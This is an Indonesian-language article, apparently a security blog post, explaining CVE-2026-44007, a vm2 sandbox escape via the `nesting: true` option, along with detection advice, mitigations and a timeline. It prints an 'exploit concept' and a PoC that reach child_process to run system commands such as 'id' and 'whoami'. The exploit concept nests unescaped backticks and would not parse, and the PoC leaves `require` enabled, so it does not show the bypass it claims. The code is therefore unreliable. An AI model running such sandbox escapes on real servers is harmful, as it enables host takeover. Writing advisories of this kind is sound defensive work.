Pengantar
Keamanan aplikasi modern menjadi hal yang sangat penting, terutama untuk aplikasi yang menjalankan kode dari pengguna. Banyak platform saat ini menyediakan fitur menjalankan kode JavaScript secara langsung, seperti online compiler, automation platform, hingga AI agent execution environment.
Salah satu library yang sering digunakan untuk membatasi eksekusi kode tersebut adalah vm2 pada Node.js. Library ini berfungsi sebagai sandbox agar kode yang dijalankan tidak dapat mengakses sistem utama secara bebas.
Namun, ditemukan sebuah kerentanan serius bernama CVE-2026-44007 yang memungkinkan attacker melakukan Remote Code Execution (RCE) dan keluar dari sandbox vm2. Kerentanan ini cukup berbahaya karena dapat memberikan akses penuh terhadap server yang menjalankan aplikasi tersebut.
Apa Itu vm2?
vm2 adalah library sandbox untuk Node.js yang digunakan untuk menjalankan kode JavaScript secara terisolasi.
Tujuan utama vm2 adalah:
- Membatasi akses kode terhadap sistem operasi
- Mencegah akses file sembarangan
- Membatasi penggunaan module tertentu
- Menjalankan untrusted code dengan aman
Biasanya vm2 digunakan pada:
- Online code runner
- Platform automation
- Plugin system
- SaaS application
- AI code execution environment
Contoh penggunaan vm2:
const { NodeVM } = require('vm2');
const vm = new NodeVM({
console: 'inherit',
sandbox: {},
require: false
});
vm.run(`
console.log("Hello Sandbox");
`);
Pada contoh di atas, kode JavaScript dijalankan di dalam sandbox dan tidak boleh menggunakan require() untuk mengakses module Node.js.
Overview CVE-2026-44007
CVE-2026-44007 adalah kerentanan Remote Code Execution (RCE) pada vm2 sebelum versi 3.11.1.
Kerentanan ini memungkinkan attacker:
- Keluar dari sandbox
- Menjalankan command sistem operasi
- Mengakses server host
- Mengambil alih aplikasi
Masalah utama terjadi ketika fitur nesting: true digunakan pada konfigurasi vm2.
Contoh konfigurasi rentan:
const vm = new NodeVM({
nesting: true,
require: false
});
Walaupun require sudah dimatikan, attacker tetap dapat memanfaatkan nested VM untuk memanggil kembali module internal vm2 dan melakukan bypass keamanan.
Akar Permasalahan
Fitur nesting: true
Fitur nesting memungkinkan sandbox membuat sandbox baru di dalamnya.
Artinya:
- VM pertama dapat membuat VM kedua
- VM kedua dapat memiliki konfigurasi berbeda
- Kontrol keamanan menjadi lebih sulit
Masalah muncul karena nested VM dapat dibuat dengan pengaturan yang lebih longgar dibanding sandbox utama.
Bypass require: false
Secara normal:
require('fs');
akan diblokir jika:
require: false
Namun pada kerentanan ini, attacker dapat:
- Membuat nested VM baru
- Mengaktifkan kembali fitur require
- Mengakses module berbahaya
Broken Access Control
Kerentanan ini termasuk kategori:
- CWE-284: Improper Access Control
Artinya:
- Sistem gagal membatasi hak akses dengan benar
- Sandbox isolation dapat ditembus
- Boundary keamanan menjadi tidak efektif
Analisis Teknis Kerentanan
Cara Kerja Exploit
Secara sederhana exploit bekerja seperti ini:
- Attacker menjalankan kode di sandbox
- Sandbox membuat nested VM baru
- Nested VM mengaktifkan
require - Attacker memanggil
child_process - Command sistem dijalankan di server
Contoh Konsep Exploit
Berikut contoh sederhana:
const { NodeVM } = require("vm2");
const vm = new NodeVM({
nesting: true,
require: false
});
vm.run(`
const { NodeVM } = require('vm2');
const inner = new NodeVM({
require: {
external: true
}
});
inner.run(`
require('child_process')
.execSync('id')
.toString()
`);
`);
Kode tersebut menunjukkan bagaimana nested VM dapat digunakan untuk menjalankan command sistem.
Dampak Keamanan
Kerentanan ini sangat berbahaya karena dapat menyebabkan:
1. Remote Code Execution
Attacker dapat menjalankan command Linux atau Windows secara langsung.

Contoh:
whoami
id
uname -a
2. Pengambilalihan Server
Jika aplikasi berjalan dengan hak akses tinggi, attacker dapat:
- Mengakses file sensitif
- Mengambil database
- Mengubah konfigurasi server
- Menanam backdoor
3. Risiko pada Cloud dan Container
Pada lingkungan cloud:
- Container dapat disalahgunakan
- Data tenant lain bisa terekspos
- Infrastructure compromise dapat terjadi
Sistem yang Terdampak
Kerentanan ini berdampak pada:
- vm2 sebelum versi 3.11.1
- Aplikasi Node.js yang menggunakan
nesting: true - Platform online compiler
- AI execution platform
- SaaS automation system
Proof of Concept (PoC)
Berikut contoh sederhana PoC:
const { NodeVM } = require("vm2");
const vm = new NodeVM({
nesting: true
});
vm.run(`
const { execSync } = require('child_process');
console.log(
execSync('whoami').toString()
);
`);
Jika berhasil, sandbox dapat menjalankan command sistem operasi secara langsung.
Detection dan Monitoring
Administrator dapat mendeteksi aktivitas mencurigakan melalui:
Indikator Kompromi
- Proses
child_processyang tidak normal - Shell execution mendadak
- Aktivitas Node.js abnormal
- Nested VM creation
Monitoring yang Disarankan
Gunakan:
- EDR
- SIEM
- Process monitoring
- Audit log Node.js
Pantau command seperti:
/bin/sh
bash
powershell
cmd.exe
Mitigasi dan Patch
1. Upgrade vm2
Langkah paling penting adalah upgrade ke:
- vm2 versi 3.11.1 atau lebih baru
Update menggunakan npm:
npm install vm2@latest
2. Disable Nesting
Jika tidak diperlukan, matikan fitur nesting:
const vm = new NodeVM({
nesting: false,
require: false
});
3. Gunakan Isolasi Tambahan
Jangan hanya mengandalkan vm2.
Tambahkan:
- Docker container
- AppArmor
- Seccomp
- User privilege restriction
4. Least Privilege
Jalankan aplikasi menggunakan user dengan hak akses minimum.
Hindari menjalankan Node.js sebagai:
root
Administrator
Best Practice Secure Sandbox
Beberapa praktik keamanan yang disarankan:
Gunakan Container Terisolasi
Setiap eksekusi kode sebaiknya berjalan di container terpisah.
Batasi Resource
Gunakan:
- CPU limit
- Memory limit
- Timeout execution
Monitoring Runtime
Pantau aktivitas:
- Process spawning
- Network access
- File access
Validasi Input
Jangan langsung menjalankan kode tanpa filtering dan validasi.
Timeline Kerentanan
| Tanggal | Aktivitas |
|---|---|
| 13 Mei 2026 | CVE dipublikasikan |
| 14 Mei 2026 | Informasi diperbarui |
| 17 Mei 2026 | Advisory SentinelOne dipublikasikan |
Kesimpulan
CVE-2026-44007 menunjukkan bahwa sandbox JavaScript tidak selalu aman sepenuhnya. Kesalahan kecil dalam desain isolation dapat membuka jalan bagi attacker untuk keluar dari sandbox dan mengambil alih server.
Kerentanan ini menjadi pelajaran penting bagi developer dan administrator agar:
- Selalu memperbarui dependency
- Tidak terlalu bergantung pada satu layer keamanan
- Menggunakan defense in depth
- Memisahkan environment eksekusi kode pengguna
Jika aplikasi Anda menggunakan vm2 dengan fitur nesting: true, segera lakukan audit dan update sistem untuk mengurangi risiko eksploitasi.
Referensi
- sentinelone.com
- github.com









